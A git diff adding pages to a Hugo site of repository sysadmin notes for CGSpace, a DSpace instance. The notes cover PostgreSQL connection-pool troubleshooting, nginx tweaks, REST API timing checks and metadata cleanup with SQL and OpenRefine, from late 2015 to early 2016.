diff --git a/content/posts/2023-07.md b/content/posts/2023-07.md index 20257a3e9..9814fd779 100644 --- a/content/posts/2023-07.md +++ b/content/posts/2023-07.md @@ -10,4 +10,22 @@ categories: ["Notes"] - Export CGSpace to check for missing Initiative collection mappings - Start harvesting on AReS +## 2023-07-02 + +- Minor edits to the `crossref_doi_lookup.py` script while running some checks from 22,000 CGSpace DOIs + +## 2023-07-03 + +- I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect + - I took the more accurate ones from Crossref and updated the items on CGSpace + - I took a few hundred ISBNs as well for where we were missing them + - I also tagged ~4,700 items with missing licenses as "Copyrighted; all rights reserved" based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer + - Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it's usually copyrighted (could still be open access, but we can't tell via Crossref) + - I would be curious to write a script to check the Unpaywall API for open access status... + - In the past I found that their *license* status was not very accurate, but the open access status might be more reliable +- More minor work on the DSpace 7 item views + - I learned some new Angular template syntax + - I created a custom component to show Creative Commons licenses on the simple item page + - I also decided that I don't like the Impact Area icons as a component because they don't have any visual meaning + diff --git a/docs/.gitignore b/docs/.gitignore new file mode 100644 index 000000000..e69de29bb diff --git a/docs/2015-11/index.html b/docs/2015-11/index.html new file mode 100644 index 000000000..5fd198598 --- /dev/null +++ b/docs/2015-11/index.html @@ -0,0 +1,296 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2015 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2015

+

+ + in + +  + +

+
+

2015-11-22

+
    +
  • CGSpace went down
    • +
  • Looks like DSpace exhausted its PostgreSQL connection pool
    • +
  • Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace
+78
+
    +
  • For now I have increased the limit from 60 to 90, run updates, and rebooted the server
    • +
+

2015-11-24

+
    +
  • CGSpace went down again
    • +
  • Getting emails from uptimeRobot and uptimeButler that it’s down, and Google Webmaster Tools is sending emails that there is an increase in crawl errors
    • +
  • Looks like there are still a bunch of idle PostgreSQL connections:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace
+96
+
    +
  • For some reason the number of idle connections is very high since we upgraded to DSpace 5
    • +
+

2015-11-25

+
    +
  • Troubleshoot the DSpace 5 OAI breakage caused by nginx routing config
    • +
  • The OAI application requests stylesheets and javascript files with the path /oai/static/css, which gets matched here:
    • +
+
# static assets we can load from the file system directly with nginx
+location ~ /(themes|static|aspects/ReportingSuite) {
+    try_files $uri @tomcat;
+...
+
    +
  • The document root is relative to the xmlui app, so this gets a 404—I’m not sure why it doesn’t pass to @tomcat
    • +
  • Anyways, I can’t find any URIs with path /static, and the more important point is to handle all the static theme assets, so we can just remove static from the regex for now (who cares if we can’t use nginx to send Etags for OAI CSS!)
    • +
  • Also, I noticed we aren’t setting CSP headers on the static assets, because in nginx headers are inherited in child blocks, but if you use add_header in a child block it doesn’t inherit the others
    • +
  • We simply need to add include extra-security.conf; to the above location block (but research and test first)
    • +
  • We should add WOFF assets to the list of things to set expires for:
    • +
+
location ~* \.(?:ico|css|js|gif|jpe?g|png|woff)$ {
+
    +
  • We should also add aspects/Statistics to the location block for static assets (minus static from above):
    • +
+
location ~ /(themes|aspects/ReportingSuite|aspects/Statistics) {
+
    +
  • Need to check /about on CGSpace, as it’s blank on my local test server and we might need to add something there
    • +
  • CGSpace has been up and down all day due to PostgreSQL idle connections (current DSpace pool is 90):
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace
+93
+
    +
  • I looked closer at the idle connections and saw that many have been idle for hours (current time on server is 2015-11-25T20:20:42+0000):
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | less -S
+datid | datname  |  pid  | usesysid | usename  | application_name | client_addr | client_hostname | client_port |         backend_start         |          xact_start           |
+-------+----------+-------+----------+----------+------------------+-------------+-----------------+-------------+-------------------------------+-------------------------------+---
+20951 | cgspace  | 10966 |    18205 | cgspace  |                  | 127.0.0.1   |                 |       37731 | 2015-11-25 13:13:02.837624+00 |                               | 20
+20951 | cgspace  | 10967 |    18205 | cgspace  |                  | 127.0.0.1   |                 |       37737 | 2015-11-25 13:13:03.069421+00 |                               | 20
+...
+
    +
  • There is a relevant Jira issue about this: https://jira.duraspace.org/browse/DS-1458
    • +
  • It seems there is some sense changing DSpace’s default db.maxidle from unlimited (-1) to something like 8 (Tomcat default) or 10 (Confluence default)
    • +
  • Change db.maxidle from -1 to 10, reduce db.maxconnections from 90 to 50, and restart postgres and tomcat7
    • +
  • Also redeploy DSpace Test with a clean sync of CGSpace and mirror these database settings there as well
    • +
  • Also deploy the nginx fixes for the try_files location block as well as the expires block
    • +
+

2015-11-26

+
    +
  • CGSpace behaving much better since changing db.maxidle yesterday, but still two up/down notices from monitoring this morning (better than 50!)
    • +
  • CCAFS colleagues mentioned that the REST API is very slow, 24 seconds for one item
    • +
  • Not as bad for me, but still unsustainable if you have to get many:
    • +
+
$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+8.415
+
    +
  • Monitoring e-mailed in the evening to say CGSpace was down
    • +
  • Idle connections in PostgreSQL again:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep cgspace | grep -c idle
+66
+
    +
  • At the time, the current DSpace pool size was 50…
    • +
  • I reduced the pool back to the default of 30, and reduced the db.maxidle settings from 10 to 8
    • +
+

2015-11-29

+
    +
  • Still more alerts that CGSpace has been up and down all day
    • +
  • Current database settings for DSpace:
    • +
+
db.maxconnections = 30
+db.maxwait = 5000
+db.maxidle = 8
+db.statementpool = true
+
    +
  • And idle connections:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep cgspace | grep -c idle
+49
+
    +
  • Perhaps I need to start drastically increasing the connection limits—like to 300—to see if DSpace’s thirst can ever be quenched
    • +
  • On another note, SUNScholar’s notes suggest adjusting some other postgres variables: http://wiki.lib.sun.ac.za/index.php/SUNScholar/Optimisations/Database
    • +
  • This might help with REST API speed (which I mentioned above and still need to do real tests)
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2015-12/index.html b/docs/2015-12/index.html new file mode 100644 index 000000000..34206b97d --- /dev/null +++ b/docs/2015-12/index.html @@ -0,0 +1,318 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2015 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2015

+

+ + in + +  + +

+
+

2015-12-02

+
    +
  • Replace lzop with xz in log compression cron jobs on DSpace Test—it uses less space:
    • +
+
# cd /home/dspacetest.cgiar.org/log
+# ls -lh dspace.log.2015-11-18*
+-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18
+-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo
+-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz
+
    +
  • I had used lrzip once, but it needs more memory and is harder to use as it requires the lrztar wrapper
    • +
  • Need to remember to go check if everything is ok in a few days and then change CGSpace
    • +
  • CGSpace went down again (due to PostgreSQL idle connections of course)
    • +
  • Current database settings for DSpace are db.maxconnections = 30 and db.maxidle = 8, yet idle connections are exceeding this:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep cgspace | grep -c idle
+39
+
    +
  • I restarted PostgreSQL and Tomcat and it’s back
    • +
  • On a related note of why CGSpace is so slow, I decided to finally try the pgtune script to tune the postgres settings:
    • +
+
# apt-get install pgtune
+# pgtune -i /etc/postgresql/9.3/main/postgresql.conf -o postgresql.conf-pgtune
+# mv /etc/postgresql/9.3/main/postgresql.conf /etc/postgresql/9.3/main/postgresql.conf.orig 
+# mv postgresql.conf-pgtune /etc/postgresql/9.3/main/postgresql.conf
+
    +
  • It introduced the following new settings:
    • +
+
default_statistics_target = 50
+maintenance_work_mem = 480MB
+constraint_exclusion = on
+checkpoint_completion_target = 0.9
+effective_cache_size = 5632MB
+work_mem = 48MB
+wal_buffers = 8MB
+checkpoint_segments = 16
+shared_buffers = 1920MB
+max_connections = 80
+
    +
  • Now I need to go read PostgreSQL docs about these options, and watch memory settings in munin etc
    • +
  • For what it’s worth, now the REST API should be faster (because of these PostgreSQL tweaks):
    • +
+
$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+1.474
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+2.141
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+1.685
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+1.995
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+1.786
+
+

CCAFS item

+
    +
  • The authorizations for the item are all public READ, and I don’t see any errors in dspace.log when browsing that item
    • +
  • I filed a ticket on Atmire’s issue tracker
    • +
  • I also filed a ticket on Atmire’s issue tracker for the PostgreSQL stuff
    • +
+

2015-12-03

+
    +
  • CGSpace very slow, and monitoring emailing me to say its down, even though I can load the page (very slowly)
    • +
  • Idle postgres connections look like this (with no change in DSpace db settings lately):
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep cgspace | grep -c idle
+29
+
    +
  • I restarted Tomcat and postgres…
    • +
  • Atmire commented that we should raise the JVM heap size by ~500M, so it is now -Xms3584m -Xmx3584m
    • +
  • We weren’t out of heap yet, but it’s probably fair enough that the DSpace 5 upgrade (and new Atmire modules) requires more memory so it’s ok
    • +
  • A possible side effect is that I see that the REST API is twice as fast for the request above now:
    • +
+
$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+1.368
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.968
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+1.006
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.849
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.806
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.854
+

2015-12-05

+
    +
  • CGSpace has been up and down all day and REST API is completely unresponsive
    • +
  • PostgreSQL idle connections are currently:
    • +
+
postgres@linode01:~$ psql -c 'SELECT * from pg_stat_activity;' | grep cgspace | grep -c idle
+28
+
    +
  • I have reverted all the pgtune tweaks from the other day, as they didn’t fix the stability issues, so I’d rather not have them introducing more variables into the equation
    • +
  • The PostgreSQL stats from Munin all point to something database-related with the DSpace 5 upgrade around mid–late November
    • +
+

PostgreSQL bgwriter (year) +PostgreSQL cache (year) +PostgreSQL locks (year) +PostgreSQL scans (year)

+

2015-12-07

+
    +
  • Atmire sent some fixes to DSpace’s REST API code that was leaving contexts open (causing the slow performance and database issues)
    • +
  • After deploying the fix to CGSpace the REST API is consistently faster:
    • +
+
$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.675
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.599
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.588
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.566
+$ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle/10568/32802?expand=all
+0.497
+

2015-12-08

+
    +
  • Switch CGSpace log compression cron jobs from using lzop to xz—the compression isn’t as good, but it’s much faster and causes less IO/CPU load
    • +
  • Since we figured out (and fixed) the cause of the performance issue, I reverted Google Bot’s crawl rate to the “Let Google optimize” setting
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2015/12/ccafs-item-no-metadata.png b/docs/2015/12/ccafs-item-no-metadata.png new file mode 100644 index 000000000..552b50d12 Binary files /dev/null and b/docs/2015/12/ccafs-item-no-metadata.png differ diff --git a/docs/2015/12/postgres_bgwriter-year.png b/docs/2015/12/postgres_bgwriter-year.png new file mode 100644 index 000000000..918447914 Binary files /dev/null and b/docs/2015/12/postgres_bgwriter-year.png differ diff --git a/docs/2015/12/postgres_cache_cgspace-year.png b/docs/2015/12/postgres_cache_cgspace-year.png new file mode 100644 index 000000000..890b5132a Binary files /dev/null and b/docs/2015/12/postgres_cache_cgspace-year.png differ diff --git a/docs/2015/12/postgres_connections_cgspace-year.png b/docs/2015/12/postgres_connections_cgspace-year.png new file mode 100644 index 000000000..faecf8692 Binary files /dev/null and b/docs/2015/12/postgres_connections_cgspace-year.png differ diff --git a/docs/2015/12/postgres_locks_cgspace-year.png b/docs/2015/12/postgres_locks_cgspace-year.png new file mode 100644 index 000000000..63624da00 Binary files /dev/null and b/docs/2015/12/postgres_locks_cgspace-year.png differ diff --git a/docs/2015/12/postgres_scans_cgspace-year.png b/docs/2015/12/postgres_scans_cgspace-year.png new file mode 100644 index 000000000..84e5f93be Binary files /dev/null and b/docs/2015/12/postgres_scans_cgspace-year.png differ diff --git a/docs/2016-01/index.html b/docs/2016-01/index.html new file mode 100644 index 000000000..ac8a941b0 --- /dev/null +++ b/docs/2016-01/index.html @@ -0,0 +1,254 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2016

+

+ + in + +  + +

+
+

2016-01-13

+
    +
  • Move ILRI collection 10568/12503 from 10568/27869 to 10568/27629 using the move_collections.sh script I wrote last year.
    • +
  • I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.
    • +
  • Update GitHub wiki for documentation of maintenance tasks.
    • +
+

2016-01-14

+
    +
  • Update CCAFS project identifiers in input-forms.xml
    • +
  • Run system updates and restart the server
    • +
+

2016-01-18

+
    +
  • Change “Extension material” to “Extension Material” in input-forms.xml (a mistake that fell through the cracks when we fixed the others in DSpace 4 era)
    • +
+

2016-01-19

+
    +
  • Work on tweaks and updates for the social sharing icons on item pages: add Delicious and Mendeley (from Academicons), make links open in new windows, and set the icon color to the theme’s primary color (#157)
    • +
  • Tweak date-based facets to show more values in drill-down ranges (#162)
    • +
  • Need to remember to clear the Cocoon cache after deployment or else you don’t see the new ranges immediately
    • +
  • Set up recipe on IFTTT to tweet new items from the CGSpace Atom feed to my twitter account
    • +
  • Altmetrics’ support for Handles is kinda weak, so they can’t associate our items with DOIs until they are tweeted or blogged, etc first.
    • +
+

2016-01-21

+
    +
  • Still waiting for my IFTTT recipe to fire, two days later
    • +
  • It looks like the Atom feed on CGSpace hasn’t changed in two days, but there have definitely been new items
    • +
  • The RSS feed is nearly as old, but has different old items there
    • +
  • On a hunch I cleared the Cocoon cache and now the feeds are fresh
    • +
  • Looks like there is configuration option related to this, webui.feed.cache.age, which defaults to 48 hours, though I’m not sure what relation it has to the Cocoon cache
    • +
  • In any case, we should change this cache to be something more like 6 hours, as we publish new items several times per day.
    • +
  • Work around a CSS issue with long URLs in the item view (#172)
    • +
+

2016-01-25

+
    +
  • Re-deploy CGSpace and DSpace Test with latest 5_x-prod branch
    • +
  • This included the social icon fixes/updates, date-based facet tweaks, reducing the feed cache age, and fixing a layout issue in XMLUI item view when an item had long URLs
    • +
+

2016-01-26

+
    +
  • Run nginx updates on CGSpace and DSpace Test (1.8.1 and 1.9.10, respectively)
    • +
  • Run updates on DSpace Test and reboot for new Linode kernel Linux 4.4.0-x86_64-linode63 (first update in months)
    • +
+

2016-01-28

+
    +
  • +

    Start looking at importing some Bioversity data that had been prepared earlier this week

    +
    • +
  • +

    While checking the data I noticed something strange, there are 79 items but only 8 unique PDFs:

    +

    $ ls SimpleArchiveForBio/ | wc -l +79 +$ find SimpleArchiveForBio/ -iname “*.pdf” -exec basename {} ; | sort -u | wc -l +8

    +
    • +
+

2016-01-29

+
    +
  • Add five missing center-specific subjects to XMLUI item view (#174)
    • +
  • This CCAFS item Before:
    • +
+

XMLUI subjects before

+
    +
  • After:
    • +
+

XMLUI subjects after

+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-02/index.html b/docs/2016-02/index.html new file mode 100644 index 000000000..7e244ef26 --- /dev/null +++ b/docs/2016-02/index.html @@ -0,0 +1,432 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2016

+

+ + in + +  + +

+
+

2016-02-05

+
    +
  • Looking at some DAGRIS data for Abenet Yabowork
    • +
  • Lots of issues with spaces, newlines, etc causing the import to fail
    • +
  • I noticed we have a very interesting list of countries on CGSpace:
    • +
+

CGSpace country list

+
    +
  • Not only are there 49,000 countries, we have some blanks (25)…
    • +
  • Also, lots of things like “COTE D`LVOIRE” and “COTE D IVOIRE”
    • +
+

2016-02-06

+
    +
  • Found a way to get items with null/empty metadata values from SQL
    • +
  • First, find the metadata_field_id for the field you want from the metadatafieldregistry table:
    • +
+
dspacetest=# select * from metadatafieldregistry;
+
    +
  • In this case our country field is 78
    • +
  • Now find all resources with type 2 (item) that have null/empty values for that field:
    • +
+
dspacetest=# select resource_id from metadatavalue where resource_type_id=2 and metadata_field_id=78 and (text_value='' OR text_value IS NULL);
+
    +
  • Then you can find the handle that owns it from its resource_id:
    • +
+
dspacetest=# select handle from item, handle where handle.resource_id = item.item_id AND item.item_id = '22678';
+
    +
  • It’s 25 items so editing in the web UI is annoying, let’s try SQL!
    • +
+
dspacetest=# delete from metadatavalue where metadata_field_id=78 and text_value='';
+DELETE 25
+
    +
  • After that perhaps a regular dspace index-discovery (no -b) should suffice…
    • +
  • Hmm, I indexed, cleared the Cocoon cache, and restarted Tomcat but the 25 “|||” countries are still there
    • +
  • Maybe I need to do a full re-index…
    • +
  • Yep! The full re-index seems to work.
    • +
  • Process the empty countries on CGSpace
    • +
+

2016-02-07

+
    +
  • Working on cleaning up Abenet’s DAGRIS data with OpenRefine
    • +
  • I discovered two really nice functions in OpenRefine: value.trim() and value.escape("javascript") which shows whitespace characters like \r\n!
    • +
  • For some reason when you import an Excel file into OpenRefine it exports dates like 1949 to 1949.0 in the CSV
    • +
  • I re-import the resulting CSV and run a GREL on the date issued column: value.replace("\.0", "")
    • +
  • I need to start running DSpace in Mac OS X instead of a Linux VM
    • +
  • Install PostgreSQL from homebrew, then configure and import CGSpace database dump:
    • +
+
$ postgres -D /opt/brew/var/postgres
+$ createuser --superuser postgres
+$ createuser --pwprompt dspacetest
+$ createdb -O dspacetest --encoding=UNICODE dspacetest
+$ psql postgres
+postgres=# alter user dspacetest createuser;
+postgres=# \q
+$ pg_restore -O -U dspacetest -d dspacetest ~/Downloads/cgspace_2016-02-07.backup 
+$ psql postgres
+postgres=# alter user dspacetest nocreateuser;
+postgres=# \q
+$ vacuumdb dspacetest
+$ psql -U dspacetest -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest -h localhost
+
    +
  • After building and running a fresh_install I symlinked the webapps into Tomcat’s webapps folder:
    • +
+
$ mv /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/ROOT /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/ROOT.orig
+$ ln -sfv ~/dspace/webapps/xmlui /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/ROOT
+$ ln -sfv ~/dspace/webapps/rest /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/rest
+$ ln -sfv ~/dspace/webapps/jspui /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/jspui
+$ ln -sfv ~/dspace/webapps/oai /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/oai
+$ ln -sfv ~/dspace/webapps/solr /opt/brew/Cellar/tomcat/8.0.30/libexec/webapps/solr
+$ /opt/brew/Cellar/tomcat/8.0.30/bin/catalina start
+
    +
  • Add CATALINA_OPTS in /opt/brew/Cellar/tomcat/8.0.30/libexec/bin/setenv.sh, as this script is sourced by the catalina startup script
    • +
  • For example:
    • +
+
CATALINA_OPTS="-Djava.awt.headless=true -Xms2048m -Xmx2048m -XX:MaxPermSize=256m -XX:+UseConcMarkSweepGC -Dfile.encoding=UTF-8"
+
    +
  • After verifying that the site is working, start a full index:
    • +
+
$ ~/dspace/bin/dspace index-discovery -b
+

2016-02-08

+
    +
  • Finish cleaning up and importing ~400 DAGRIS items into CGSpace
    • +
  • Whip up some quick CSS to make the button in the submission workflow use the XMLUI theme’s brand colors (#154)
    • +
+

ILRI submission buttons +Drylands submission buttons

+

2016-02-09

+
    +
  • Re-sync DSpace Test with CGSpace
    • +
  • Help Sisay with OpenRefine
    • +
  • Enable HTTPS on DSpace Test using Let’s Encrypt:
    • +
+
$ cd ~/src/git
+$ git clone https://github.com/letsencrypt/letsencrypt
+$ cd letsencrypt
+$ sudo service nginx stop
+# add port 443 to firewall rules
+$ ./letsencrypt-auto certonly --standalone -d dspacetest.cgiar.org
+$ sudo service nginx start
+$ ansible-playbook dspace.yml -l linode02 -t nginx,firewall -u aorth --ask-become-pass
+
    +
  • We should install it in /opt/letsencrypt and then script the renewal script, but first we have to wire up some variables and template stuff based on the script here: https://letsencrypt.org/howitworks/
    • +
  • I had to export some CIAT items that were being cleaned up on the test server and I noticed their dc.contributor.author fields have DSpace 5 authority index UUIDs…
    • +
  • To clean those up in OpenRefine I used this GREL expression: value.replace(/::\w{8}-\w{4}-\w{4}-\w{4}-\w{12}::600/,"")
    • +
  • Getting more and more hangs on DSpace Test, seemingly random but also during CSV import
    • +
  • Logs don’t always show anything right when it fails, but eventually one of these appears:
    • +
+
org.dspace.discovery.SearchServiceException: Error while processing facet fields: java.lang.OutOfMemoryError: Java heap space
+
    +
  • or
    • +
+
Caused by: java.util.NoSuchElementException: Timeout waiting for idle object
+
    +
  • Right now DSpace Test’s Tomcat heap is set to 1536m and we have quite a bit of free RAM:
    • +
+
# free -m
+             total       used       free     shared    buffers     cached
+Mem:          3950       3902         48          9         37       1311
+-/+ buffers/cache:       2552       1397
+Swap:          255         57        198
+
    +
  • So I’ll bump up the Tomcat heap to 2048 (CGSpace production server is using 3GB)
    • +
+

2016-02-11

+
    +
  • Massaging some CIAT data in OpenRefine
    • +
  • There are 1200 records that have PDFs, and will need to be imported into CGSpace
    • +
  • I created a filename column based on the dc.identifier.url column using the following transform:
    • +
+
value.split('/')[-1]
+
    +
  • Then I wrote a tool called generate-thumbnails.py to download the PDFs and generate thumbnails for them, for example:
    • +
+
$ ./generate-thumbnails.py ciat-reports.csv
+Processing 64661.pdf
+> Downloading 64661.pdf
+> Creating thumbnail for 64661.pdf
+Processing 64195.pdf
+> Downloading 64195.pdf
+> Creating thumbnail for 64195.pdf
+

2016-02-12

+
    +
  • Looking at CIAT’s records again, there are some problems with a dozen or so files (out of 1200)
    • +
  • A few items are using the same exact PDF
    • +
  • A few items are using HTM or DOC files
    • +
  • A few items link to PDFs on IFPRI’s e-Library or Research Gate
    • +
  • A few items have no item
    • +
  • Also, I’m not sure if we import these items, will be remove the dc.identifier.url field from the records?
    • +
+

2016-02-12

+
    +
  • Looking at CIAT’s records again, there are some files linking to PDFs on Slide Share, Embrapa, UEA UK, and Condesan, so I’m not sure if we can use those
    • +
  • 265 items have dirty, URL-encoded filenames:
    • +
+
$ ls | grep -c -E "%"
+265
+
    +
  • I suggest that we import ~850 or so of the clean ones first, then do the rest after I can find a clean/reliable way to decode the filenames
    • +
  • This python2 snippet seems to work in the CLI, but not so well in OpenRefine:
    • +
+
$ python -c "import urllib, sys; print urllib.unquote(sys.argv[1])" CIAT_COLOMBIA_000169_T%C3%A9cnicas_para_el_aislamiento_y_cultivo_de_protoplastos_de_yuca.pdf
+CIAT_COLOMBIA_000169_Técnicas_para_el_aislamiento_y_cultivo_de_protoplastos_de_yuca.pdf
+
    +
  • Merge pull requests for submission form theming (#178) and missing center subjects in XMLUI item views (#176)
    • +
  • They will be deployed on CGSpace the next time I re-deploy
    • +
+

2016-02-16

+
    +
  • Turns out OpenRefine has an unescape function!
    • +
+
value.unescape("url")
+
    +
  • This turns the URLs into human-readable versions that we can use as proper filenames
    • +
  • Run web server and system updates on DSpace Test and reboot
    • +
  • To merge dc.identifier.url and dc.identifier.url[], rename the second column so it doesn’t have the brackets, like dc.identifier.url2
    • +
  • Then you create a facet for blank values on each column, show the rows that have values for one and not the other, then transform each independently to have the contents of the other, with “||” in between
    • +
  • Work on Python script for parsing and downloading PDF records from dc.identifier.url
    • +
  • To get filenames from dc.identifier.url, create a new column based on this transform: forEach(value.split('||'), v, v.split('/')[-1]).join('||')
    • +
  • This also works for records that have multiple URLs (separated by “||”)
    • +
+

2016-02-17

+
    +
  • Re-deploy CGSpace, run all system updates, and reboot
    • +
  • More work on CIAT data, cleaning and doing a last metadata-only import into DSpace Test
    • +
  • SAFBuilder has a bug preventing it from processing filenames containing more than one underscore
    • +
  • Need to re-process the filename column to replace multiple underscores with one: value.replace(/_{2,}/, "_")
    • +
+

2016-02-20

+
    +
  • Turns out the “bug” in SAFBuilder isn’t a bug, it’s a feature that allows you to encode extra information like the destintion bundle in the filename
    • +
  • Also, it seems DSpace’s SAF import tool doesn’t like importing filenames that have accents in them:
    • +
+
java.io.FileNotFoundException: /usr/share/tomcat7/SimpleArchiveFormat/item_1021/CIAT_COLOMBIA_000075_Medición_de_palatabilidad_en_forrajes.pdf (No such file or directory)
+
    +
  • Need to rename files to have no accents or umlauts, etc…
    • +
  • Useful custom text facet for URLs ending with “.pdf”: value.endsWith(".pdf")
    • +
+

2016-02-22

+
    +
  • To change Spanish accents to ASCII in OpenRefine:
    • +
+
value.replace('ó','o').replace('í','i').replace('á','a').replace('é','e').replace('ñ','n')
+
    +
  • But actually, the accents might not be an issue, as I can successfully import files containing Spanish accents on my Mac
    • +
  • On closer inspection, I can import files with the following names on Linux (DSpace Test):
    • +
+
Bitstream: tést.pdf
+Bitstream: tést señora.pdf
+Bitstream: tést señora alimentación.pdf
+
    +
  • Seems it could be something with the HFS+ filesystem actually, as it’s not UTF-8 (it’s something like UCS-2)
    • +
  • HFS+ stores filenames as a string, and filenames with accents get stored as character+accent whereas Linux’s ext4 stores them as an array of bytes
    • +
  • Running the SAFBuilder on Mac OS X works if you’re going to import the resulting bundle on Mac OS X, but if your DSpace is running on Linux you need to run the SAFBuilder there where the filesystem’s encoding matches
    • +
+

2016-02-29

+
    +
  • Got notified by some CIFOR colleagues that the Google Scholar team had contacted them about CGSpace’s incorrect ordering of authors in Google Scholar metadata
    • +
  • Turns out there is a patch, and it was merged in DSpace 5.4: https://jira.duraspace.org/browse/DS-2679
    • +
  • I’ve merged it into our 5_x-prod branch that is currently based on DSpace 5.1
    • +
  • We found a bug when a user searches from the homepage, sorts the results, and then tries to click “View More” in a sidebar facet
    • +
  • I am not sure what causes it yet, but I opened an issue for it: https://github.com/ilri/DSpace/issues/179
    • +
  • Have more problems with SAFBuilder on Mac OS X
    • +
  • Now it doesn’t recognize description hints in the filename column, like: test.pdf__description:Blah
    • +
  • But on Linux it works fine
    • +
  • Trying to test Atmire’s series of stats and CUA fixes from January and February, but their branch history is really messy and it’s hard to see what’s going on
    • +
  • Rebasing their branch on top of our production branch results in a broken Tomcat, so I’m going to tell them to fix their history and make a proper pull request
    • +
  • Looking at the filenames for the CIAT Reports, some have some really ugly characters, like: ' or , or = or [ or ] or ( or ) or _.pdf or ._ etc
    • +
  • It’s tricky to parse those things in some programming languages so I’d rather just get rid of the weird stuff now in OpenRefine:
    • +
+
value.replace("'",'').replace('_=_','_').replace(',','').replace('[','').replace(']','').replace('(','').replace(')','').replace('_.pdf','.pdf').replace('._','_')
+
    +
  • Finally import the 1127 CIAT items into CGSpace: https://cgspace.cgiar.org/handle/10568/35710
    • +
  • Re-deploy CGSpace with the Google Scholar fix, but I’m waiting on the Atmire fixes for now, as the branch history is ugly
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-03/index.html b/docs/2016-03/index.html new file mode 100644 index 000000000..d59d7afd8 --- /dev/null +++ b/docs/2016-03/index.html @@ -0,0 +1,370 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2016

+

+ + in + +  + +

+
+

2016-03-02

+
    +
  • Looking at issues with author authorities on CGSpace
